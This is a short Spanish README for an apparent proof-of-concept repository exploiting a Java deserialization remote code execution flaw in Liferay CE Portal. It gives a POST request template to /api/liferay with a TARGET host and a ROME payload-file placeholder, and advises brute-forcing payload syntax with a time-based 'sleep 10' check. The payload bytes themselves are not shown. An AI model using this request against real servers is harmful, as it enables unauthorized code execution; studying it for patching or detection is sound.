Liferay-CE-Portal-Java-Deserialization

Este repositorio contiene el PoC de la vulnerabilidad de ejecución remota de código de Liferay CE Portal.

Payloads

Ya he compartido payloads en el repositorio. Debe encontrar la sintaxis correcta mediante el método de fuerza bruta. Los payloads que comparto son para una prueba de concepto basada en tiempo (sleep 10). La aplicación puede no mostrar siempre la salida del comando. Por eso debe probar el payload basado en tiempo al realizar el PoC.

Prueba de concepto

• POST /api/liferay HTTP/1.1
• Host: TARGET
• User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0)
• Accept: text/html,application/xhtml+xml,application/xml;q=0.9
• Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
• Accept-Encoding: gzip, deflate
• Connection: close

ROME-PAYLOAD-FILE

Ejemplo de PoC (sleep 10)